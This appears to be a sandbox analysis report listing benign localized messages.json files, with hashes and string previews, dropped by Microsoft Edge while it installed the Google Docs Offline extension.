Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
